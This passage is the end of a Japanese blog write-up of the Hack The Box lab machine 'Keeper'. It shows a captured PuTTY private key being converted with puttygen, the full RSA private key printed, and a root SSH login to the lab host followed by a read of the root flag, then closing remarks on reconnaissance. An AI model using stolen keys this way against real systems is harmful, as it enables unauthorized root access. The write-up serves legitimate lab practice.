FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0

奪取した鍵セットはputty形式のため、opensshでも使用できるようにする。

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:12:54am
/home/kali/Desktop/Keeper> puttygen keeper.ppk -O private-openssh -o id_rsa
█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:14:35am
/home/kali/Desktop/Keeper> cat id_rsa    
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----

上記で作成した秘密鍵を使用してrootユーザへsshを使ってログイン

█▓▒░kali@kali░▒▓██▓▒░ Fri May 01 06:16:39am
/home/kali/Desktop/Keeper> ssh root@10.129.229.41 -i id_rsa 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)
root@keeper:~# cat root.txt

rootフラグ奪取。

おわりに

怠惰すぎてこのmachineをpwnするよりも記事を書く方が時間かかった。
中学生のころ美術の授業で先生が「模写するときに全体の時間を10としたとき、模写の対象を観察する時間に8使い、残りの2で絵を描く」と言われました。また、アメリカの第16代大統領Abraham Lincolnは「木を切り倒すのに6時間与えられたら、最初の4時間は斧を研ぐことに使う。」と言っています。
あれです。要するにReconに時間を掛けろっちゅう話なんだわ。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?